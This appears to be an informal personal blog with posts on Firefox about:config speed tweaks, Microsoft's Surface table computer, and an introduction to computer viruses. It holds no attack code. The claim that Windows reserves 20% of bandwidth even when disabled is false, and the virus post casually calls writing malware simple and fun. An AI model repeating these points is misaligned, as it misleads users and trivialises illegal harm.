Dear reader of my blog,

I strongly recommend that you download MOZILLA FIREFOX.
Being a regular mozilla user, I say this.The plug-ins mozilla provide is beyond your wildest of imaginations.
And the pic here depicts the future(lol..)
THE FOLLOWING PROCEDURE IS ONLY FOR MOZILLA USERS.

If you use firefox then following are the settings Improve the speed & load time of firefox

The following trick will improve the speed & load time of firefox. And you will be able to surf faster..
Type about:config in the address bar,
Then look for the following entries, and make the corresponding changes.

1. network.http.max-connections-per-server =32
2. network.http.max-persistent-connections-per-proxy =16
3. network.http.max-connections = 64
4. network.http.max-persistent-connections-per-server = 10
5. network.http.pipelining = true
6. network.http.pipelining.maxrequests = 200
7. network.http.request.max-start-delay = 0
8. network.http.proxy.pipelining = true
9. network.http.proxy.version = 1.0


Lastly right-click anywhere and select New- Integer.
Name itnglayout.initialpaint.delay and set its value to 0.

This value is the amount of time the browser waits before it acts on information it receives.

Enjoy!! And other than that if you are using Windows then it reserves the 20% of your available bandwidth for its update even if u turned it off......

Now everyone has suddenly started to speak about surface
computers.

Actually What is a surface computer?


A surface computer is a computer that interacts with the user through the surface of an ordinary object, rather than through a monitor and keyboard.


The category was created by Microsoft with Surface (codenamed Milan), the surface computer from microsoft which was based entirely on a Multi-Touch interface and using a coffee-table like design, and was unveiled on 30 may 2007. Users can interact with the machine by touching or dragging their fingertips and objects such as paintbrushes across the screen, or by setting real-world items tagged with special bar-code labels on top of it.


The Surface is a horizontal display on a table-like form. Somewhat similar to the i-phone, the Surface has a screen that can incorporate multiple touches and thus uses them to navigate multimedia content. Unlike the iPhone, which uses fingers' electrical properties to detect touch, the Surface utilizes a system of infrared cameras to detect input.


Uploading digital files only requires each object (e.g. a Bluetooth-enabled digital camera) to be placed on the Surface. People can physically move around the picture across the screen with their hands, or even shrink or enlarge them.


The Surface has a 3GHz Pentium 4 processor, 2GB of memory, an off the shelf graphics card, a scratch-proof spill-proof surface, a DLP projector, and 5 infrared cameras as mentioned above. However, the expensive components required for the interface also give the Surface a price tag of nearly $10,000.

VIRUS!!!!!!

Now if you are a regular net user.It is impossible that you don't know what a
virus is!!!!
This post has an interesting virus dealt with it.


A computer virus is just a program.But it enters the computer and modifies the programs in the computer without any consent from the user.Viruses are sometimes confused with computer worms and Trojan horses. A worm can spread itself to other computers without needing to be transferred as part of a host, and a Trojan horse is a file that appears harmless until executed.
Which is different form a virus....

The Creeper virus was the first virus detected on ARPANET, the forerunner of the Internet in the early 1970s.

Now history and information apart.....

Let us discuss the art of virus writing.
Virus writing is not a very complicated one.
It is infact very simple.
You have to have a thorough understanding of the system architecture if you want to be a good virus writer.
Though virus writing is illegal.
It can be done for fun....
But dont go beyond the veil.
